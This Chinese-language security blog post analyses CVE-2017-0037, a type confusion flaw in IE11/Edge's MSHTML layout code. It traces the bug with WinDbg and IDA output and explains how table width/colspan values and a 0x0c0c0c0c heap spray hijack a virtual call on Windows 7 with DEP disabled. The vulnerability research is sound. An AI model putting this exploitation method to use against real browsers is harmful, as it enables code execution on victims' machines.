CVE-2017-0037 IE11&Edge Type Confusion从PoC到半个Exploit

作者:k0shl 转载请注明出处 作者博客:http://whereisk0shl.top


前言


前段时间Google Project Zero(PJ0)曝光了一个关于IE11和Edge的一个类型混淆造成代码执行的漏洞,微软至今未推出关于这个漏洞的补丁,我对这个漏洞进行了分析,并且通过PoC构造了半个Exploit,为什么是半个呢,首先这个漏洞攻击面比较窄,只能控制Array里+0x4位置的值,通过类型混淆会认为这个值是一个指针,随后会调用指针某偏移处的虚函数,当我们能够控制这个指针的值的时候,虚函数也能够得到控制。这样就能劫持程序流,达到代码执行的效果。但这其中涉及到一个ASLR的问题,由于地址随机化,导致我们就算控制跳转之后,无法通过info leak来构造ROP,也就是DEP也无法绕过。

这里我也有考虑到袁哥的DVE,但由于我们并没有RW primitives,因此我们控制关键指针的条件太有限,导致想通过GodMod来执行脚本的方法似乎也不太可行(或者我没有发现?求大牛指教!)。

因此这里,我写了一个在关闭DEP时可以使用的exploit,并且和大家一起分享从PoC到Exp的整个过程,不得不说过程还是很麻烦的,因为想寻找这个Array+0x4位置的控制值如何能够DWORD SHOOT,我跟了Layout::TableBoxBuilder类下的很多函数。

PJ0 CVE-2017-0037 PoC地址:

https://bugs.chromium.org/p/project-zero/issues/detail?id=1011

目前来看,微软并没有更新这个exp的补丁,但是有人利用0patch修补了这个漏洞,其实我看起来感觉不太像从根本上解决了这个漏洞的问题:

https://0patch.blogspot.jp/2017/03/0patching-another-0-day-internet.html

尽管这个Type Confusion攻击面有限,但是Type Confusion这种漏洞是非常常见的,它的原理一般情况下是由于函数处理时,没有对对象类型进行严格检查,导致可以通过某些手段来造成类型混淆,通过对其他可控类型的控制可以达到代码执行的效果,甚至任意内存读写,比如Memory Corruption。

好啦,不多说了!下面我们来进入今天的分析,首先我们漏洞分析的环境:

Windows7 x64 sp1 build 7601

IE 11.0.9600.17843


漏洞分析


首先漏洞的关键出现在boom()中,在PoC中定义了一个table表,其中在标签中定义了表id为th1,在boom()函数中引用到,随后通过setInterval设定事件。

运行PoC,可以捕获到漏洞崩溃,附加Windbg。

0:003:x86> r

eax=00000038 ebx=0947ffb0 ecx=0947ffb0 edx=00000002 esi=00000064 edi=6e65c680

eip=6e20fc87 esp=086abdc0 ebp=086abdec iopl=0         nv up ei pl nz na po nc

cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202

MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d36:

6e20fc87 833800          cmp     dword ptr [eax],0    ds:002b:00000038=????????

可以看到,这里eax作为指针,引用了一处无效地址,从而引发了崩溃,直接回溯崩溃位置的上下文,可以看到,在cmp汇编指令之前,调用了一处函数Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem> >::Readable。

而eax寄存器正是Readable函数的返回值。我们在这个函数call调用位置下断点,重新执行windbg。

0:007:x86> r

eax=0a020590 ebx=007e79f0 ecx=007e79f0 edx=007e79f0 esi=00000064 edi=69ad8080

eip=6968fc82 esp=0900b878 ebp=0900b8a4 iopl=0         nv up ei pl nz na po nc

cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202

MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d31:

6968fc82 e86df072ff      call    MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem> >::Readable (68dbecf4)

可以看到,ecx寄存器作为第一个参数,看一下这个参数存放的对象。

0:007:x86> dps ecx

007e79f0  68d82230 MSHTML!Layout::FlowItem::`vftable'

007e79f4  00000000 //这个值将会在Readable函数中引用

007e79f8  00000009

007e79fc  007ec8d4

007e7a00  0a020660

007e7a04  00000064

007e7a08  00000064

007e7a0c  007e79f0

007e7a10  007e79f0

007e7a14  68d82230 MSHTML!Layout::FlowItem::`vftable'

007e7a18  00000000

007e7a1c  00000009

007e7a20  007ec8d4

007e7a24  0a01fc60

007e7a28  00000000

007e7a2c  00000000

007e7a30  007e7a14

007e7a34  007e7a14

这个参数存放的对象是一个Layout::FlowItem::`vftable虚表,随后通过IDA来分析一下这个函数的功能。

int __thiscall Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem>>::Readable(int this)

{

  int v1; // eax@2

  int result; // eax@4



  if ( *(_BYTE *)(*(_DWORD *)(__readfsdword(44) + 4 * _tls_index) + 36) )
  // get tls array

  {

    result = this + 16;

  }

  else

  {

    v1 = *(_DWORD *)(this + 4);

    if ( !v1 )               // 这个位置会检查this+0x4位置的值,如果为0,则进入处理

      v1 = this;//获取vftable pointer

    result = v1 + 16;

  }

  return result;

}

这里,读取虚表+0x4位置的值为0,因此会执行if(!v4)中的逻辑,会将this指针交给v1,随后v1+0x10后返回,因此,Layout::FlowItem::`vftable所属指针的这个情况是正常的情况,函数会正常返回进入后续处理逻辑。

0:007:x86> p

MSHTML!Layout::Patchable<Layout::SharedBoxReferenceDataMembers>::Readable+0x1e:

68dbed16 83c010          add     eax,10h

0:007:x86> p

MSHTML!Layout::Patchable<Layout::SharedBoxReferenceDataMembers>::Readable+0x21:

68dbed19 c3              ret//函数正常返回

0:007:x86> r eax

eax=007e7a00

0:007:x86> dps eax

007e7a00  0a020660

007e7a04  00000064

007e7a08  00000064

007e7a0c  007e79f0

007e7a10  007e79f0

0:007:x86> p

Breakpoint 0 hit//这个地方会引用正常的值

MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d36:

6968fc87 833800          cmp     dword ptr [eax],0    ds:002b:007e7a00=0a020660

直接继续执行,程序会第二次命中Readable函数,这次来看一下ecx中存放的对象。

0:007:x86> r

eax=0a020000 ebx=0a020120 ecx=0a020120 edx=00000000 esi=00000064 edi=69adc680

eip=6968fc82 esp=0900b878 ebp=0900b8a4 iopl=0         nv up ei pl nz na po nc

cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202

MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d31:

6968fc82 e86df072ff      call    MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem> >::Readable (68dbecf4)

0:007:x86> dps ecx

0a020120  00000000

0a020124  00000028

0a020128  00000050

0a02012c  00000078

0a020130  000000a0

0a020134  000000c8

0a020138  a0a0a0a0

0a02013c  a0a0a0a0

这次存放的对象并非是一个虚表对象,这个对象是一个int Array的维度对象,这样我们通过条件断点来跟踪两个对象的创建过程。我们重点关注两个对象创建的函数,一个是FlowItem::`vftable对应的虚表对象,另一个是引发崩溃的int Array对象。这两个函数的返回值,也就是eax寄存器中存放的就是指向这两个创建对象的指针。

MSHTML!Array<Math::SLayoutMeasure>::Create

MSHTML!Array<SP<Tree::TableRowGroupBlock>>::Create

通过对这两个对象进行跟踪,我们可以看见到对象的创建,以及后续引用对象,导致Type Confusion。

//下条件断点,打印每一次int Array object创建的信息
0:007:x86> bp 6912e1fb ".printf \"Something: 0x%08x,0x%08x\\n\",@eax,poi(eax);g;"

//对象被不断创建

0:007:x86> g

Something: 0x088abc84,0x0098c788

Something: 0x088abc84,0x09806790

Something: 0x088abc84,0x097d9010

Something: 0x088abc5c,0x097dafd8

Something: 0x088abc84,0x097ce050

Something: 0x088abc84,0x098026e0

Something: 0x088abc84,0x098044c8

Something: 0x088abc84,0x097ff540

Something: 0x088abc5c,0x097d5058

Something: 0x088abafc,0x097cab00

Something: 0x088abafc,0x0980a690 //key!!

Breakpoint 1 hit

MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d31:

6968fc82 e86df072ff      call    MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem> >::Readable (68dbecf4)

0:007:x86> r//第一次命中时,是正常的FlowItem对象

eax=0980aa80 ebx=0094d364 ecx=0094d364 edx=0094d364 esi=00000064 edi=69ad8080

eip=6968fc82 esp=088abb28 ebp=088abb54 iopl=0         nv up ei pl nz na po nc

cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202

MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d31:

6968fc82 e86df072ff      call    MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem> >::Readable (68dbecf4)

0:007:x86> g

Breakpoint 1 hit

MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d31:

6968fc82 e86df072ff      call    MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem> >::Readable (68dbecf4)

0:007:x86> r//第二次命中时,注意ecx寄存器的值,0x0980a690

eax=0980a570 ebx=0980a690 ecx=0980a690 edx=00000000 esi=00000064 edi=69adc680

eip=6968fc82 esp=088abb28 ebp=088abb54 iopl=0         nv up ei pl nz na po nc

cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202

MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d31:

6968fc82 e86df072ff      call    MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem> >::Readable (68dbecf4)

果然第二次命中的时候,是一个int Array Object。因此,这个漏洞就是由于Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem> >::Readable函数是处理虚表对象的函数,但是由于boom()函数中引用th1.align导致Readable函数第二次引用,由于没有对对象属性进行检查,导致第二次会将table对象传入。

这就是一个典型的Type Confusion。

而Readable会将这个对象当作虚表对象处理,而这个int Array维度对象我们可以控制,从而通过控制Readable返回值来达到代码执行。


Exploitation Surface


如果想利用这个漏洞,我们需要分析一下攻击面,首先是我们可控的位置是什么(也就是在之前我提到的int Array的维度),这个可控的位置是否有利用点,有哪些防护,是否有可能绕过等等。

首先我们来看一下利用位置的上下文。

cmp     dword ptr [eax],0 
je      MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d83
mov     ecx,ebx
call    MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem> >::Readable
mov     dword ptr [ebp-10h],esp
mov     ebx,dword ptr [eax]
mov     eax,dword ptr [ebx]
mov     edi,dword ptr [eax+1A4h]
mov     ecx,edi
call    dword ptr [MSHTML!__guard_check_icall_fptr]
mov     ecx,ebx
call    edi

可看到,在eax作为指针返回后,会在后续继续调用到一个Readable函数,而在这个函数后返回后,eax会连续传递,最后调用到call edi,引用这个虚函数。

也就是说,一旦我们可以控制这个指针,我们就有可能在call edi位置达到代码执行的效果。

而可以看到,在call edi之前,有一处call __guard_check_icall_fptr,这是Windows新的防护机制CFG,在执行虚函数调用前,会检查虚函数。

由于我们调试环境是Win7,CFG只在高版本的Windows中启用,比如win8和win10,因此这处CFG check在Win7环境下并没有实际作用,是在Win8和Win10高版本开启后,为了向下兼容,而在Win7中加入的这处函数调用。

因此,我们简单分析一下我们的攻击面,首先我们可控的位置是int Array Object+0x4位置的值,这个值控制范围有限,因此我们似乎不能通过这种方法来获得任意地址的读写能力,因此对于我们来说ASLR对于这个漏洞来说不好绕过。ASLR和DEP不好绕过。

接下来,我们要分析的就是,如何控制这个值。这个对象经过我们刚才的分析,是由MSHTML!Array<Math::SLayoutMeasure>::Create函数创建的对象,但赋值并非在这个位置。在分析的过程中,我对Layout中的大量类函数进行了跟踪分析,这里我将通过正向来直接跟大家展示这个值是从什么位置来的。


跟踪TableBoxBuilder结构体


这里,我们稍微修改一下PoC,主要是对th1对象中的width值进行修改。

<th id="th1" colspan="5" width=10000></th>

下面调试过程中,由于多次重启,堆地址值有所变化,但不影响分析。

首先,我们要关注的是一个名为FlowBoxBuilder的对象,这个对象偏移+0x124的位置将会存放Width值生成的一个size。在Layout::FlowBoxBuilder::FlowBoxBuilder函数中,这个结构体对象被创建。

0:007:x86> p

MSHTML!Layout::FlowBoxBuilder::FlowBoxBuilder+0xe:

67c70ae4 8bd9            mov     ebx,ecx//对象位置被初始化

0:007:x86> r ecx

ecx=09a42ad8

0:007:x86> dd 09a42ad8+124//对应位置的成员变量已经被初始化

09a42bfc  e0e0e0e0 e0e0e0e0 e0e0e0e0 e0e0e0e0

0:007:x86> ba w1 09a42ad8+124 //对+0x124位置下写入断点

0:007:x86> g

Breakpoint 4 hit

MSHTML!Layout::FlowBoxBuilder::InitializeBoxSizing+0x11b:

67b18c75 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]

0:007:x86> dd 09a42ad8+124//可以看到在InitializeBoxSizing函数中被赋值

09a42bfc  00989680=1000000

可以看到,在MSHTML!Layout::FlowBoxBuilder::InitializeBoxSizing函数中,FlowBoxBuilder+0x124位置被赋值。赋值的内容是0x989680,就是1000000,这个值又是从哪里来的呢?在MSHTML中有一个函数MSHTML!Layout::ContainerBoxBuilder::ComputeBoxModelForChildWithUsedWidth,这个计算会将table的width*100。

如上面的代码片段,FlowBoxBuilder在InitializeBoxSizing中初始化之后,偏移+0x124位置会将ComputeBoxModelForChildWithUsedWidth函数的计算值保存。

随后这个值会加上200,之后这个值回存入结构体中,然后会存放在FlowBoxBuilder结构体+0x114的位置。

67b0201a 8906            mov     dword ptr [esi],eax

0:007:x86> g

Breakpoint 7 hit

MSHTML!TSmartPointer<Tree::TextBlock>::operator=+0x13:

67b0201c 85c9            test    ecx,ecx

0:007:x86> dd 09b40948+114//

09b40a5c  09b778d0 00000000 e0e0e0e0 00000000//在FlowBoxBuilder+0x114位置存放了一个结构体

09b40a6c  00989874 //+200之后依然存放在FlowBoxBuilder+0x124的位置 

0:007:x86> dd 09b778d0

09b778d0  67e6c574 00000001 09b36560 09b6f968//结构体+0xc位置存放着目标结构体,这个结构体其实就是一个int Array结构,这个结构会在后续调用中用到。

09b778e0  00989874 

0:007:x86> dd 09b6f968

09b6f968  00000000 001e84a8 003d0950 005b8df8

09b6f978  007a12a0 00989748 a0a0a0a0 a0a0a0a0

09b6f988  00000000 00000000 4c762d5c 000c2ca7

09b6f998  09b5a4a8 09b71a68 f0f0f0f0 f0f0f0f0

09b6f9a8  f0f0f0f0 f0f0f0f0 a0a0a0a0 a0a0a0a0

09b6f9b8  00000000 00000000 59752d4a 140c2caa

09b6f9c8  abcdaaaa 80411000 00000044 0000006c

09b6f9d8  09b6fa58 09b6f910 04d67e6c dcbaaaaa

0:007:x86> kb//调用逻辑

ChildEBP RetAddr  Args to Child              

08efb8f4 67e6c0fc 09b778d0 08efbd54 09b409d0 MSHTML!TSmartPointer<Tree::TextBlock>::operator=+0x13

08efb940 67e6c03e 090b82f8 09b40900 09b40a20 MSHTML!Layout::SBoxModel::CalculateFullBoxModelForTable+0x9f

08efb9bc 67b1a3dc 090b82f8 09b40900 09b40a20 MSHTML!Layout::SBoxModel::CalculateFullBoxModel+0x270

08efbac4 67b12365 08efbd54 0001f400 08efbcec MSHTML!Layout::FlowBoxBuilder::BuildBoxItem+0x25a

到此,我们完成了对FlowBoxBuilder结构体关键成员变量的赋值,这个成员变量会在后续调用中,进入很关键的TableBoxBuilder结构体,我们关键的Array位置存放在FlowBoxBuilder+0x114的指针内偏移为+0xc的指针处,接下来我们进入TableBoxBuilder类函数跟踪。

+0xc的这个Array会在TableBoxBuilder::InitialBoxSizing函数中交给TableBoxBuilder结构体+0x294的位置。

0:007:x86> p

MSHTML!Layout::TableBoxBuilder::InitializeBoxSizing+0x5c:

67e766ac 8d460c          lea     eax,[esi+0Ch]//esi存放的就是FlowBoxBuilder+0x114的指针
//+0xc位置存放的就是Array结构体

0:007:x86> p

MSHTML!Layout::TableBoxBuilder::InitializeBoxSizing+0x5f:

67e766af 50              push    eax

0:007:x86> p

MSHTML!Layout::TableBoxBuilder::InitializeBoxSizing+0x60:

67e766b0 8d8b94020000    lea     ecx,[ebx+294h]//ebx存放的是TableBoxBuilder+0x294的指针地址

0:007:x86> p//调用SArray::operator

MSHTML!Layout::TableBoxBuilder::InitializeBoxSizing+0x66:

67e766b6 e879e6c4ff      call    MSHTML!SArray<Layout::TableGridBox::SRowGroupInfo>::operator= (67ac4d34)//esi+0c

0:007:x86> dd 0963ba2c//esi+0xc的值

0963ba2c  00a2beb0 00000000 e0e0e0e0 00000000

0:007:x86> dd a2beb0

00a2beb0  00000000 001e84a8 003d0950 005b8df8

00a2bec0  007a12a0 00989748 a0a0a0a0 a0a0a0a0

在MSHTML!SArray<Layout::TableGridBox::SRowGroupInfo>::operator函数中,会完成对TableBoxBuilder+0x294位置的赋值,就是将上面代码中esi+0xc的值,交给TableBoxBuilder+0x294。

0:007:x86> g

Breakpoint 4 hit

MSHTML!SArray<Math::SLayoutMeasure>::operator=+0x1a:

67ac4d4e 85c9            test    ecx,ecx

0:007:x86> dd 09d7ff30+294//偏移294位置存放着TableBoxBuilder中的size部分,用于赋值给Type Confusion的对象

09d801c4  09d7da30 00000000 e0e0e0e0 00000000

09d801d4  00000000 a0a0a0a0 a0a0a0a0 09d7f868

0:007:x86> dd 09d7da30//已经完成了Size的赋值操作

09d7da30  00000000 001e84a8 003d0950 005b8df8

09d7da40  007a12a0 00989748 a0a0a0a0 a0a0a0a0

0:007:x86> kb

ChildEBP RetAddr  Args to Child              

08e7b878 67e766bb 09da48bc 08e7bbbc 08e7b8a8 MSHTML!SArray<Math::SLayoutMeasure>::operator=+0x1a

08e7b890 67ccb346 051d2fd8 051d2f88 09da48b0 MSHTML!Layout::TableBoxBuilder::InitializeBoxSizing+0x6b

在最后漏洞触发位置的MSHTML!Layout::TableGridBox::InitializeColumnData函数中,会完成对我们漏洞触发位置的Type Confusion的结构体内容的赋值。

6912e226 8b8394020000    mov     eax,dword ptr [ebx+294h] ds:002b:0924592c=09245598  //what is ebx and ebx+294  ebx is struct Layout::TableBoxBuilder

6912e22c 8b0e            mov     ecx,dword ptr [esi]//获取我申请的堆指针

6912e22e 8b0490          mov     eax,dword ptr [eax+edx*4]//计算TableBoxBuilder对应294位置的值+索引*sizeof

6912e231 890491          mov     dword ptr [ecx+edx*4],eax//将这个值交给申请堆指针对应索引的位置

6912e234 42              inc     edx//edx = edx+1//自加1

6912e235 3bd7            cmp     edx,edi//check lenth 检测是否已经到达我申请的堆大小

6912e237 7ced            jl      MSHTML!Layout::TableGridBox::InitializeColumnData+0x6c (6912e226)

可能大家这个时候有点乱了,下面我将用一个流程图来展示一下结构体的赋值过程。大致就是首先会通过计算获得Width的一个size,计算方法是:Width*100+200,随后,会将这个值保存在一个Array里,这个Array的大小后面会讲到。之后会将这个Array存入一个指针偏移+0xc的位置,交给FlowBoxBuilder结构体+0x114的位置。之后,会赋值给TableBoxBuilder结构体+0x294位置,最后会交给漏洞触发位置申请的堆指针。

而经过我们上面的分析,产生漏洞的位置在这个Array+0x4位置,我们也需要通过table的条件控制这个位置的值,才能达到利用。


控制Array结构到漏洞利用


通过上面的跟踪,我们知道了id=th1的Table中的Width可以控制一个Array结构,但是我们也发现Array结构并非单独只包含一个Width计算得到的值。

0:007:x86> dd 9bc7038

<th id="th1" colspan="5" width=1000></th>//

09bc7038  00000000 00004e48 00009c90 0000ead8

09bc7048  00013920 00018768 a0a0a0a0 a0a0a0a0

可以看到,Array结构是有一个大小的,其实,这个Array中存放的值,取决于width,而大小取决于colspan,这个colspan为5的情况下,Array中存放了5个值,而我们需要控制的是Array+0x4这个位置的值,这样的话,我们将colspan的大小修改为1,并且修改Width的值。

<th id="th1" colspan="1" width=2021159></th>

0:005:x86> t

MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem> >::Readable:

67afecf4 8b15fc5cb368    mov     edx,dword ptr [MSHTML!_tls_index (68b35cfc)] ds:002b:68b35cfc=00000002

0:005:x86> p

MSHTML!Layout::Patchable<Layout::SharedBoxReferenceDataMembers>::Readable+0x6:

67afecfa 64a12c000000    mov     eax,dword ptr fs:[0000002Ch] fs:0053:0000002c=00000000

0:005:x86> p

MSHTML!Layout::Patchable<Layout::SharedBoxReferenceDataMembers>::Readable+0xc:

67afed00 8b0490          mov     eax,dword ptr [eax+edx*4] ds:002b:008f5dd0=008f0fb8

0:005:x86> dd ecx//ecx存放的是Array

098563c8  00000000 0c0c0c04 a0a0a0a0 a0a0a0a0

可以看到,通过修改Width和colspan,我们成功控制了Array+0x4位置的值,这样,在接下来由于TypeConfusion,会将这个int Array当成是vftable pointer返回,并继续执行。

0:005:x86> p//Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem>>::Readable函数

MSHTML!Layout::Patchable<Layout::SharedBoxReferenceDataMembers>::Readable+0x1e:

67afed16 83c010          add     eax,10h

0:005:x86> p

MSHTML!Layout::Patchable<Layout::SharedBoxReferenceDataMembers>::Readable+0x21:

67afed19 c3              ret

0:005:x86> p

MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d36://返回之后,eax成功变成了0c0c0c14的值

683cfc87 833800          cmp     dword ptr [eax],0    ds:002b:0c0c0c14=00000000

可以看到,在返回后,我们可以成功控制这个返回指针了。接下来,我们利用heap spray来喷射堆,从而稳定控制0c0c0c0c位置的值。


CFG???从PoC到半个exploit


到此,我们完成了对漏洞函数返回值的控制,在文章最开始的时候,我们看到这个指针的值中的成员变量,会作为虚函数在后续call调用中引用,在此之前,会有一处CFG check。

0:007:x86> p//eax已经被我们控制,跳转到喷射结束的堆中

MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d45:

683cfc96 8b18            mov     ebx,dword ptr [eax]  ds:002b:0c0c0bb0=0c0c0c0c

0:007:x86> p

MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d47:

683cfc98 8b03            mov     eax,dword ptr [ebx]  ds:002b:0c0c0c0c=0c0c0c0c

0:007:x86> p

MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d49:

683cfc9a 8bb8a4010000    mov     edi,dword ptr [eax+1A4h] ds:002b:0c0c0db0=0c0c0c0c
0:007:x86> p

MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d4f:

683cfca0 8bcf            mov     ecx,edi

0:007:x86> p

MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d51:

683cfca2 ff1534afb568    call    dword ptr [MSHTML!__guard_check_icall_fptr (68b5af34)] ds:002b:68b5af34=67ac4b50//进入CFG check函数

0:007:x86> t

MSHTML!CJSProtocol::`vftable'+0xc://这个CFG并无实际作用,直接返回了

67ac4b50 8bc0            mov     eax,eax

0:007:x86> p

MSHTML!CElement::OnGCFilteredForReplacedElem:

67ac4b52 c3              ret

这个CFG check在Win7中没有实际作用,如上代码跟踪的片段,进入CFG check之后,直接返回了,但是在高版本的Windows中,必须考虑CFG防护的绕过。

但是由于所有地址模块都开启了ASLR,而利用面来看的话,并没有地方可以泄露内存信息,也没有其他好用的利用点,这样的话就不好绕过ASLR和DEP,我在关闭win7 DEP的情况下,完成了利用。

感谢大家阅读,如果有不当之处,请大家多多交流,谢谢!